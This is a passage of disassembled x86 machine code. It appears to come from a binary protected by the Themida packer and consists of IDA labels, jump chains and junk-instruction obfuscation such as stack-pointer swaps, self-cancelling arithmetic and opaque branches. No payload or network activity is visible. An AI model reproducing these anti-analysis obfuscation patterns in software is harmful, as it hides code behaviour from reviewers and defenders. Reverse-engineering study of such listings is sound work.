loc_58B67B: ; CODE XREF: sub_59196D-2CD1j
sub bl, dl
jmp loc_58E671
; ---------------------------------------------------------------------------
loc_58B682: ; CODE XREF: sub_59196D-2AFBj
add edx, 4
jmp loc_5940FA
; ---------------------------------------------------------------------------
loc_58B68D: ; CODE XREF: sub_59196D-12C8j
mov esi, [esp+1Ch+var_1E+2]
jmp loc_58F13C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590792
loc_58B695: ; CODE XREF: sub_590792-43B6j
push edi
push [esp+8+var_4]
mov edi, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov [esp+0], ecx
jmp sub_58FC53
; END OF FUNCTION CHUNK FOR sub_590792
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B6AE: ; CODE XREF: sub_59196D:loc_594D2Ej
; sub_59196D+3FF8j
sub edx, esi
pop esi
sub ebp, 34D418EFh
add ebp, edx
add ebp, 34D418EFh
pop edx
xchg ebp, [esp+14h+var_16+2]
jmp loc_58FE37
; ---------------------------------------------------------------------------
loc_58B6C8: ; CODE XREF: sub_59196D-2C8Bj
pop edx
push eax
mov al, 83h
dec al
inc al
jmp loc_58C131
; ---------------------------------------------------------------------------
loc_58B6D5: ; CODE XREF: sub_59196D-4BB6j
; sub_59196D:loc_593DBDj
push eax
mov eax, 686157F5h
jmp loc_5949AE
; ---------------------------------------------------------------------------
loc_58B6E0: ; CODE XREF: sub_59196D+5937j
push ebx
push [esp+1Ch+var_1A+2]
pop ebx
pop [esp+1Ch+var_1E+2]
mov esp, [esp+18h+var_1A+2]
btr word ptr [esp+18h+var_1A+2], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58B6F7: ; CODE XREF: sub_59196D-440Aj
not eax
jmp loc_58C610
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58B6FE: ; DATA XREF: Themida_:0058B0DCo
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
jmp loc_596657
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B71B: ; CODE XREF: sub_59196D+1C64j
push edi
mov edi, eax
mov ebx, edi
mov edi, [esp+20h+var_22+2]
add esp, 4
pop eax
push ebp
push ebx
add [esp+20h+var_22+2], 135C56FBh
jmp loc_5957DD
; ---------------------------------------------------------------------------
loc_58B738: ; CODE XREF: sub_59196D+658Cj
add esp, 4
push 304Fh
mov [esp+20h+var_22+2], ebp
push [esp+20h+var_1E+2]
pop ebp
pop [esp+20h+var_22+2]
pop esp
or word ptr [esp+18h+var_1A+2], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58B756: ; CODE XREF: sub_59196D-60F8j
push esp
jmp loc_590EF4
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B764: ; CODE XREF: sub_59196D+1DC2j
dec ecx
jmp loc_594D2E
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58B76A proc near ; CODE XREF: sub_59196D+471Bj
var_8 = dword ptr -8
var_4 = word ptr -4
sub esp, 2
mov [esp+4+var_4], dx
push 7B56h
mov [esp+8+var_8], ecx
mov ch, 0A8h
push eax
jmp loc_5927D6
sub_58B76A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B781: ; CODE XREF: sub_59196D-596Ej
mov eax, 2
jmp loc_5956C4
; ---------------------------------------------------------------------------
loc_58B78B: ; CODE XREF: sub_59196D-389j
pop eax
jmp loc_594906
; ---------------------------------------------------------------------------
loc_58B791: ; CODE XREF: sub_59196D+642Bj
mov ah, 0F9h
shl ah, 5
or ah, 85h
add ah, 29h
push edx
mov dh, 21h
jmp loc_592AA8
; ---------------------------------------------------------------------------
loc_58B7A4: ; CODE XREF: sub_59196D-51A8j
sub edx, eax
pop eax
pop esi
jmp loc_594C48
; ---------------------------------------------------------------------------
loc_58B7AD: ; CODE XREF: sub_59196D+B8Aj
push eax
mov eax, 4
sub ebx, eax
pop eax
push ebx
jmp loc_5902B0
; ---------------------------------------------------------------------------
loc_58B7BC: ; CODE XREF: sub_59196D+5DDAj
pop ebp
add ebp, edx
pop edx
add ebp, 54321693h
or ebp, 5CB92DC7h
push 4795h
mov [esp+18h+var_1A+2], ecx
jmp loc_58CFEB
; ---------------------------------------------------------------------------
loc_58B7D9: ; CODE XREF: sub_59196D-4353j
jmp loc_5917E4
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58B7DE: ; DATA XREF: Themida_:0058B0BCo
push dword ptr [esp]
jmp loc_58D0A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B7E6: ; CODE XREF: sub_59196D+68C8j
and edx, 0A44849h
add edx, 0FFFFF7BFh
add edi, edx
pop edx
sub edi, 0B3C39908h
sub eax, edi
jmp loc_5933B6
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58B802: ; DATA XREF: Themida_:0058B0C0o
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B812: ; CODE XREF: sub_59196D+5F23j
and edx, 7FA528E3h
add edx, 0FFFBFF82h
add ecx, edx
pop edx
xchg ecx, [esp+10h+var_12+2]
pop esp
sub bl, 9Eh
sub esp, 2
jmp loc_58C451
; ---------------------------------------------------------------------------
loc_58B830: ; CODE XREF: sub_59196D+1AFEj
mov [esp+10h+var_12+2], esi
push esp
jmp loc_592BA4
; ---------------------------------------------------------------------------
loc_58B839: ; CODE XREF: sub_59196D-CD0j
mov ax, word ptr [esp+14h+var_16+2]
push ebx
mov ebx, esp
add ebx, 4
push ebp
push 2
mov ebp, [esp+20h+var_22+2]
add esp, 4
add ebx, ebp
mov ebp, [esp+1Ch+var_1E+2]
jmp loc_58EC09
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58B85F proc near ; CODE XREF: sub_59196D+19F4j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005908B8 SIZE 00000025 BYTES
sub esp, 4
jmp loc_5908B8
sub_58B85F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B86A: ; CODE XREF: sub_59196D-6396j
add eax, ebx
sub eax, 266A71BFh
mov ebx, [esp+1Ch+var_1E+2]
push eax
jmp loc_58B756
; ---------------------------------------------------------------------------
loc_58B87A: ; CODE XREF: sub_59196D+F05j
pop edi
neg esi
jb loc_597988
shl esi, 3
jp loc_595C05
mov dl, bh
push edx
loc_58B88F: ; CODE XREF: sub_59196D-1686j
add al, 9Eh
jo loc_59791D
sub al, 7Dh
mov dh, al
jmp loc_58E51E
; ---------------------------------------------------------------------------
loc_58B8A0: ; CODE XREF: sub_59196D+5B2Ej
pop esi
pop edx
and eax, ecx
pop ecx
jmp loc_5948C1
; ---------------------------------------------------------------------------
loc_58B8AA: ; CODE XREF: sub_59196D+1CE0j
sub edx, 32F440C7h
jmp loc_58E129
; ---------------------------------------------------------------------------
loc_58B8B5: ; CODE XREF: sub_59196D+376j
mov [esp+14h+var_16+2], edi
push esi
jmp loc_596BA6
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58B8BE: ; DATA XREF: Themida_:0058B0ACo
push dword ptr [esp]
mov eax, [esp]
push 3256h
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push ebp
mov ebp, esp
push eax
mov eax, 30DB1E60h
jmp loc_594D3A
; =============== S U B R O U T I N E =======================================
sub_58B8EB proc near ; CODE XREF: sub_59196D+615Fj
sub esp, 4
jmp loc_597662
sub_58B8EB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B8F6: ; CODE XREF: sub_59196D-4D2Cj
pop esi
shl esi, 7
jp loc_58BEE9
add esi, 3721EA2h
xor al, 83h
mov ebx, eax
loc_58B90A: ; CODE XREF: sub_59196D-4EE5j
add ebx, ecx
mov ecx, [esp+14h+var_16+2]
jmp loc_592352
; ---------------------------------------------------------------------------
loc_58B914: ; CODE XREF: sub_59196D+4C5Bj
add eax, 3C970889h
jmp loc_591C51
; ---------------------------------------------------------------------------
loc_58B91E: ; CODE XREF: sub_59196D-3253j
push edx
sub esp, 4
mov [esp+1Ch+var_1E+2], esp
jmp loc_597A4C
; ---------------------------------------------------------------------------
loc_58B92D: ; CODE XREF: sub_59196D+5B4Bj
mov edi, esp
add edi, 4
push ebp
mov ebp, 67A77EBCh
push 0
jmp loc_5955C1
; ---------------------------------------------------------------------------
loc_58B945: ; CODE XREF: sub_59196D+2CBFj
pop esi
xchg edx, [esp+20h+var_22+2]
jmp loc_5900D3
; ---------------------------------------------------------------------------
loc_58B94E: ; CODE XREF: sub_59196D-2F0Cj
pop ecx
jmp loc_58C279
; ---------------------------------------------------------------------------
loc_58B954: ; CODE XREF: sub_59196D+3E96j
push eax
mov eax, ecx
mov edx, eax
jmp loc_58F184
; ---------------------------------------------------------------------------
loc_58B95E: ; CODE XREF: sub_59196D+1305j
push [esp+20h+var_1E+2]
pop edx
pop [esp+20h+var_22+2]
pop esp
bswap eax
push 4F76h
mov [esp+1Ch+var_1E+2], ebp
jmp loc_595555
; ---------------------------------------------------------------------------
loc_58B976: ; CODE XREF: sub_59196D+24D8j
not edx
xchg edx, ebx
neg ebx
xor ebx, 410369CDh
jmp loc_59836A
; ---------------------------------------------------------------------------
loc_58B987: ; CODE XREF: sub_59196D-4FBAj
; sub_59196D+2EEAj
add ecx, edi
push ebx
jmp loc_596BEC
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58E9F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B998: ; CODE XREF: sub_59196D+5A70j
xor [esp+20h+var_22+2], ebp
xor ebp, [esp+20h+var_22+2]
jmp loc_58EDED
; ---------------------------------------------------------------------------
loc_58B9A3: ; CODE XREF: sub_59196D+44FCj
mov eax, [esp+20h+var_22+2]
add esp, 4
shr edx, 7
shl edx, 4
js loc_58D91D
add edx, 31F00243h
jz loc_5901F8
add edx, 16B81A31h
js loc_58C004
xor edx, 440B9BCBh
mov ecx, edx
pop edx
jmp loc_595D66
; ---------------------------------------------------------------------------
loc_58B9DE: ; CODE XREF: sub_59196D+6CD0j
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5927FA
; ---------------------------------------------------------------------------
loc_58B9F2: ; CODE XREF: sub_59196D+2191j
push ecx
mov ch, 0BBh
neg ch
and ch, 0D8h
jmp loc_58E7B5
; ---------------------------------------------------------------------------
loc_58B9FF: ; CODE XREF: sub_59196D+5697j
mov edi, 62F7ADDh
mov esi, edi
mov edi, [esp+20h+var_22+2]
add esp, 4
sub ebp, esi
jmp loc_58CE4E
; ---------------------------------------------------------------------------
loc_58BA16: ; CODE XREF: sub_59196D+6C16j
pop esi
xchg esi, [esp+18h+var_1A+2]
push [esp+18h+var_1A+2]
mov eax, [esp+1Ch+var_1E+2]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_593272
; ---------------------------------------------------------------------------
loc_58BA31: ; CODE XREF: sub_59196D-189Fj
push 5AECh
jmp loc_58E78C
; ---------------------------------------------------------------------------
loc_58BA3B: ; CODE XREF: sub_59196D-59F9j
pop edx
jmp loc_596769
; ---------------------------------------------------------------------------
loc_58BA41: ; CODE XREF: sub_59196D:loc_595CE2j
add edx, 6CAD461Ah
mov ebx, edx
mov edx, [esp+20h+var_22+2]
add esp, 4
mov edi, ebx
pop ebx
sub edi, 5F2479E8h
sub edi, esi
add edi, 5F2479E8h
xchg edi, esi
jmp loc_58E888
; ---------------------------------------------------------------------------
loc_58BA6A: ; CODE XREF: sub_59196D+528j
mov cx, word ptr [esp+18h+var_1A+2]
add esp, 2
jmp loc_597023
; ---------------------------------------------------------------------------
loc_58BA76: ; CODE XREF: sub_59196D:loc_592724j
add eax, 60CA14C6h
jmp loc_58CDAC
; ---------------------------------------------------------------------------
loc_58BA80: ; CODE XREF: sub_59196D+23B0j
add edi, ebp
pop ebp
xchg edi, [esp+10h+var_12+2]
pop esp
mov ecx, [esp+0Ch+var_C]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp+10h+var_12+2]
xor [esp+10h+var_12+2], edi
xor edi, [esp+10h+var_12+2]
pop esp
push edi
mov edi, 5ACB5103h
and edi, 1E4E0E6Ah
dec edi
inc edi
xor edi, 28F52EEEh
push ebx
jmp loc_591040
; ---------------------------------------------------------------------------
loc_58BABD: ; CODE XREF: sub_59196D+5C44j
add ecx, 4
push esi
mov esi, 2
jmp loc_593FE5
; ---------------------------------------------------------------------------
loc_58BACE: ; CODE XREF: sub_59196D-500Ej
; sub_59192A-2D68j
and dl, 18h
xor dl, 0FFh
mov cl, dl
pop edx
sub esp, 4
jmp loc_594130
; ---------------------------------------------------------------------------
loc_58BAE2: ; CODE XREF: sub_59196D+587Cj
xchg esi, [esp+18h+var_1A+2]
pop esp
xor [esp+14h+var_16+2], eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58BAEF: ; CODE XREF: sub_59196D+4598j
sub ebp, 0A65EBF02h
and [edi+1Ch], ebp
mov ebp, [esp+18h+var_1A+2]
push edi
mov edi, esp
add edi, 4
jmp loc_591857
; ---------------------------------------------------------------------------
loc_58BB09: ; CODE XREF: sub_59196D+3BBFj
dec edi
js loc_58F03C
jmp loc_58D490
; ---------------------------------------------------------------------------
loc_58BB15: ; CODE XREF: sub_59196D-43BDj
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58BB1D: ; CODE XREF: sub_59196D+1051j
push eax
push esp
pop eax
push edx
mov edx, 71604329h
jmp loc_595891
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BF03
loc_58BB2B: ; CODE XREF: sub_58BF03+15j
push edx
jmp loc_595E61
; END OF FUNCTION CHUNK FOR sub_58BF03
; =============== S U B R O U T I N E =======================================
sub_58BB31 proc near ; CODE XREF: sub_59196D-22Dj
push ebx
mov ebx, 0F2E01A87h
sub edx, ebx
pop ebx
add edi, 12360752h
add edi, edx
sub edi, 12360752h
push dword ptr [esp+0]
pop edx
push ebx
jmp loc_59226A
sub_58BB31 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BB52: ; CODE XREF: sub_59196D-8D4j
add ebx, edx
pop edx
jmp loc_596679
; ---------------------------------------------------------------------------
loc_58BB5A: ; CODE XREF: sub_59196D-1EEDj
shl dh, 3
add dh, 9Bh
jmp loc_58B616
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59843D
loc_58BB65: ; CODE XREF: sub_59843D+3j
mov [esp+0], ebx
mov ebx, esp
jmp sub_58D7D7
; END OF FUNCTION CHUNK FOR sub_59843D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BB6F: ; CODE XREF: sub_59196D-4796j
xor esi, 2B7B0F78h
js loc_592F76
jmp loc_591EE5
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
jmp loc_58C76A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BB85: ; CODE XREF: sub_59196D-2448j
; sub_59196D+3DFj
pop ebx
and ebp, 5F19294Fh
or ebp, 228D71CBh
jmp loc_591EE5
; ---------------------------------------------------------------------------
loc_58BB97: ; CODE XREF: sub_59196D-2AE7j
and esi, 5CAB4A71h
jmp loc_58D695
; ---------------------------------------------------------------------------
loc_58BBA2: ; CODE XREF: sub_59196D+4A7Dj
mov edi, 2CEB2835h
jmp loc_59054A
; ---------------------------------------------------------------------------
loc_58BBAC: ; CODE XREF: sub_59196D-1563j
pop eax
push edx
mov edx, 2C650437h
push edi
mov edi, 4FDE402Bh
jmp loc_59601A
; ---------------------------------------------------------------------------
loc_58BBBE: ; CODE XREF: sub_59196D-848j
xor eax, 1B6985h
xor ecx, eax
push [esp+1Ch+var_1E+2]
jmp loc_591BC1
; ---------------------------------------------------------------------------
loc_58BBCD: ; CODE XREF: sub_59196D+443Bj
pop esi
and [edi+1Ch], eax
mov eax, [esp+1Ch+var_1E+2]
jmp loc_5901A2
; ---------------------------------------------------------------------------
loc_58BBD9: ; CODE XREF: sub_59196D-57F6j
sub eax, 0CA25DAh
mov edi, [esp+1Ch+var_1E+2]
push 555Ah
mov [esp+20h+var_22+2], eax
mov eax, esp
add eax, 4
push ebx
jmp loc_5925DB
; ---------------------------------------------------------------------------
loc_58BBF6: ; CODE XREF: sub_59196D+68FBj
push 3B63h
jmp loc_59842D
; ---------------------------------------------------------------------------
loc_58BC00: ; CODE XREF: sub_59196D+FD6j
mov [esp+28h+var_2A+2], ebp
push eax
mov eax, 54515913h
jmp loc_58DE62
; ---------------------------------------------------------------------------
loc_58BC0E: ; CODE XREF: sub_59196D-214Fj
mov [esp+2Ch+var_2E+2], eax
jmp loc_593E9D
; ---------------------------------------------------------------------------
loc_58BC16: ; CODE XREF: sub_59196D-31F6j
add edi, 54EB0080h
or edi, 61C12276h
xor edi, 4E2DF772h
jmp loc_593D40
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58BC2D: ; DATA XREF: Themida_:0058B09Co
mov cx, [esp]
push ebp
mov ebp, esp
push ebx
mov ebx, 9A81590h
jmp loc_58EB2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BC3F: ; CODE XREF: sub_59196D:loc_595A6Aj
add esi, 0EEF6FBE8h
mov edx, esi
pop esi
sub edx, 2FD933BDh
jmp loc_59808E
; ---------------------------------------------------------------------------
loc_58BC53: ; CODE XREF: sub_59196D-49C4j
pop esp
mov [esp+24h+var_26+2], esi
push 2
pop esi
sub ecx, 6DF05BD4h
add ecx, esi
push esi
mov esi, 129C092Dh
shr esi, 2
dec esi
xor esi, 524D4D19h
jmp loc_593E07
; ---------------------------------------------------------------------------
loc_58BC7A: ; CODE XREF: sub_59196D+28BDj
xchg edi, [esp+28h+var_2A+2]
pop esp
mov [esp+24h+var_26+2], edi
push esi
mov esi, ebx
mov edi, esi
mov esi, [esp+28h+var_2A+2]
jmp loc_58D544
; ---------------------------------------------------------------------------
loc_58BC8E: ; CODE XREF: sub_59196D+4794j
push 4FD0h
mov [esp+2Ch+var_2E+2], esp
jmp loc_594F41
; ---------------------------------------------------------------------------
loc_58BC9B: ; CODE XREF: sub_59196D+3AC0j
pop esi
jmp loc_590635
; ---------------------------------------------------------------------------
loc_58BCA1: ; CODE XREF: sub_59196D+44A3j
shr cl, 3
jmp loc_59470B
; ---------------------------------------------------------------------------
loc_58BCA9: ; CODE XREF: sub_59196D+35DBj
pop eax
push ebx
mov ebx, 4
jmp loc_59530B
; ---------------------------------------------------------------------------
loc_58BCB5: ; CODE XREF: sub_59196D+1BACj
xor edx, eax
xor eax, edx
xor edx, eax
jmp loc_5921E9
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58BCC0: ; CODE XREF: Themida_:0058F9B3j
push edx
push esp
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 7AF76197h
neg ebp
push eax
jmp loc_592838
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BCD9: ; CODE XREF: sub_59196D-515Cj
not esi
sub esp, 4
mov [esp+2Ch+var_2E+2], edi
jmp sub_58E3B7
; ---------------------------------------------------------------------------
loc_58BCE9: ; CODE XREF: sub_59196D-1D75j
jmp loc_593967
; ---------------------------------------------------------------------------
loc_58BCEE: ; CODE XREF: sub_59196D+52B2j
; sub_59196D+59EBj
push esi
jmp loc_593B0D
; ---------------------------------------------------------------------------
loc_58BCF4: ; CODE XREF: sub_59196D-12AAj
pop [esp+30h+var_32+2]
pop esp
jmp loc_596B1E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58BCFD: ; CODE XREF: Themida_:0058DFFCj
pop edx
add edx, 4
push 735Ah
mov [esp], eax
mov eax, 2
jmp loc_58FF25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BD16: ; CODE XREF: sub_59196D:loc_58C9ACj
push esi
jmp loc_594270
; ---------------------------------------------------------------------------
loc_58BD1C: ; CODE XREF: sub_59196D+5F96j
sub bl, dl
sub bl, 0EFh
mov dx, word ptr [esp+2Ch+var_2E+2]
add esp, 2
push ax
mov ah, 7Dh
jmp loc_597149
; ---------------------------------------------------------------------------
loc_58BD34: ; CODE XREF: sub_59196D+165Aj
; sub_59196D+4310j
add ebx, 675249ADh
add ebx, 64F612A1h
sub eax, ebx
pop ebx
jmp loc_597942
; ---------------------------------------------------------------------------
loc_58BD48: ; CODE XREF: sub_59196D-564Dj
shr edx, 1
and edx, 57234C7Eh
neg edx
not edx
jmp loc_595980
; ---------------------------------------------------------------------------
loc_58BD59: ; CODE XREF: sub_59196D+4395j
mov ah, byte ptr [esp+26h+var_26]
add esp, 2
sub ah, 4Eh
add bl, ah
jmp loc_58EC8F
; ---------------------------------------------------------------------------
loc_58BD69: ; CODE XREF: sub_59196D-144j
sub ebp, edi
pop edi
xor ebp, eax
xor eax, ebp
xor ebp, eax
sub eax, 1
xchg eax, ebp
push ecx
mov ecx, 14D30737h
or ecx, 4BDC4897h
jnp loc_592C41
xor ecx, 6BE52D20h
add ebp, ecx
pop ecx
push ebx
mov ebx, 4061436Ah
sub ebp, ebx
pop ebx
push ecx
mov ecx, 5F07482Bh
shl ecx, 6
push edi
jmp loc_590899
; ---------------------------------------------------------------------------
loc_58BDA9: ; CODE XREF: sub_59196D+25F6j
; sub_59196D+6B8Fj
push 2FC3h
mov [esp+2Ah+var_2A], eax
mov eax, 3BEA5584h
push 3C2Dh
mov [esp+2Eh+var_2E], edx
jmp loc_592828
; ---------------------------------------------------------------------------
loc_58BDC3: ; CODE XREF: sub_59196D+1AE2j
inc ebx
add ebx, 195A1E3Bh
jmp loc_597268
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BE0
loc_58BDCF: ; CODE XREF: sub_590BE0-5596j
add ebx, 4
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
push ecx
push eax
mov eax, 40h
push eax
push [esp+4+var_4]
pop ecx
jmp loc_59484A
; END OF FUNCTION CHUNK FOR sub_590BE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BDF0: ; CODE XREF: sub_59196D-19D6j
push ecx
mov ecx, 5F963ED5h
add eax, 1E223502h
add eax, ecx
sub eax, 1E223502h
pop ecx
jmp loc_5949EE
; ---------------------------------------------------------------------------
loc_58BE08: ; CODE XREF: sub_59196D+2908j
jnz loc_590550
sub esi, 2C521FCAh
jmp loc_5978CA
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop ebx
sub ebp, 4
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BE1D: ; CODE XREF: sub_59196D-3B26j
neg al
jl loc_58C868
neg al
jmp loc_58D714
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov [esp], edi
push ebp
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BE30: ; CODE XREF: sub_59196D-39CCj
mov [esp+2Eh+var_2E], ebp
mov ebp, 4F666180h
add eax, ebp
mov ebp, [esp+2Eh+var_2E]
push 490Fh
mov [esp+32h+var_32], esi
mov esi, esp
jmp loc_597A17
; ---------------------------------------------------------------------------
loc_58BE4C: ; CODE XREF: sub_59196D-E8Fj
push 720Ah
mov [esp+36h+var_36], esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+36h+var_36]
xor [esp+36h+var_36], esi
xor esi, [esp+36h+var_36]
jmp loc_58C69E
; ---------------------------------------------------------------------------
loc_58BE6D: ; CODE XREF: sub_59196D-5114j
and eax, esi
mov esi, [esp+36h+var_36]
add esp, 4
or eax, eax
jz loc_594C84
push dword ptr [edi+1Ch]
push edi
push ebp
push 5B6715BFh
pop ebp
sub ebp, 2503B652h
jmp loc_597504
; ---------------------------------------------------------------------------
loc_58BE93: ; CODE XREF: sub_59196D+3982j
add eax, 4
xchg eax, [esp+3Eh+var_40+2]
jmp loc_58C004
; ---------------------------------------------------------------------------
loc_58BE9E: ; CODE XREF: sub_59196D+3727j
pop ebp
add eax, ecx
sub eax, 3ED401D9h
mov ecx, [esp+3Ah+var_3C+2]
add esp, 4
jmp loc_5920E5
; ---------------------------------------------------------------------------
loc_58BEB1: ; CODE XREF: sub_59196D-2A5Bj
pop ebx
push 5002h
mov [esp+36h+var_36], eax
jmp loc_595E1E
; ---------------------------------------------------------------------------
loc_58BEBF: ; CODE XREF: sub_59196D+6847j
push 363Fh
mov [esp+3Ah+var_3C+2], esp
push ebp
mov ebp, 4
add [esp+3Eh+var_3C+2], ebp
pop ebp
push [esp+3Ah+var_3C+2]
mov ebp, [esp+3Eh+var_40+2]
add esp, 4
add esp, 4
add ebp, 4
jmp loc_59559C
; ---------------------------------------------------------------------------
loc_58BEE9: ; CODE XREF: sub_59196D-6073j
add esi, 3721EA2h
jmp loc_596699
; ---------------------------------------------------------------------------
loc_58BEF4: ; CODE XREF: sub_59196D+15B5j
shr esi, 3
jmp loc_593237
; ---------------------------------------------------------------------------
loc_58BEFC: ; CODE XREF: sub_59196D+30F4j
add ebx, edx
jmp loc_58F217
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58BF03 proc near ; DATA XREF: Themida_:0058B208o
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0058BB2B SIZE 00000006 BYTES
mov eax, [esp+0]
push ebp
push esp
pop ebp
add ebp, 4
push 18B6h
mov [esp+8+var_8], ebx
push ecx
jmp loc_58BB2B
sub_58BF03 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BF1D: ; CODE XREF: sub_59196D+D2Bj
mov [esp+14h+var_16+2], eax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58BF25: ; CODE XREF: sub_59196D+4A74j
push eax
mov eax, 1F4A15D8h
xor eax, 4F2A1A75h
inc eax
push edi
mov edi, 56EB3CDDh
not edi
jmp loc_5931B6
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590792
loc_58BF3E: ; CODE XREF: sub_590792+Fj
push ecx
mov ch, bl
mov dl, ch
mov ecx, [esp+14h+var_14]
add esp, 4
push ebx
mov bl, dl
jmp loc_58B444
; END OF FUNCTION CHUNK FOR sub_590792
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58BF54: ; CODE XREF: sub_59196D-5743j
mov ecx, 7B082521h
or edx, ecx
pop ecx
not edx
jmp loc_597CCF
; ---------------------------------------------------------------------------
loc_58BF63: ; CODE XREF: sub_59196D-3B83j
pop ecx
add eax, ebx
push edx
mov edx, 5CDB3566h
xor edx, 3C4C1F69h
sub eax, edx
jmp loc_58BA3B
; ---------------------------------------------------------------------------
loc_58BF79: ; CODE XREF: sub_59196D-4A43j
; sub_59196D+7Dj
push esp
pop esi
jmp loc_5963E6
; ---------------------------------------------------------------------------
loc_58BF80: ; CODE XREF: sub_59196D-6506j
sub ebp, 0FF7D7ECDh
sub edx, 53815C19h
jmp loc_58B498
; ---------------------------------------------------------------------------
loc_58BF91: ; CODE XREF: sub_59196D+4C55j
or ebp, 0D7E1559h
add ebp, 0D1160AD2h
or ebx, ebp
pop ebp
or ebx, 714E05F5h
not ebx
push edi
mov edi, 47572A34h
or edi, 2FF24D04h
jmp loc_593E19
; ---------------------------------------------------------------------------
loc_58BFB9: ; CODE XREF: sub_59196D+29E7j
mov eax, 1CA45C17h
add [esp+8+var_4], 5964F98h
add [esp+8+var_4], eax
sub [esp+8+var_4], 5964F98h
pop eax
pop ecx
jmp loc_59828B
; ---------------------------------------------------------------------------
loc_58BFD9: ; CODE XREF: sub_59196D-3D92j
neg eax
add eax, 7E2ABE6h
mov ebp, eax
pop eax
jmp loc_595FD6
; ---------------------------------------------------------------------------
loc_58BFE8: ; CODE XREF: sub_59196D-3B42j
; sub_59196D+38D7j
push ecx
push 78A56B14h
pop ecx
shr ecx, 6
shr ecx, 1
neg ecx
jmp loc_58EF1C
; ---------------------------------------------------------------------------
loc_58BFFB: ; CODE XREF: sub_59196D-1E95j
add esp, 4
push eax
jmp loc_58B781
; ---------------------------------------------------------------------------
loc_58C004: ; CODE XREF: sub_59196D-5FA3j
; sub_59196D-5AD4j
pop esp
sub ebp, 65F2FB39h
and eax, ebp
pop ebp
shr eax, 12h
xor eax, ecx
sub esp, 4
jmp loc_58F17A
; ---------------------------------------------------------------------------
loc_58C01B: ; CODE XREF: sub_59196D-65B2j
add al, 0F0h
sub al, dh
sub al, 0F0h
jmp loc_59065B
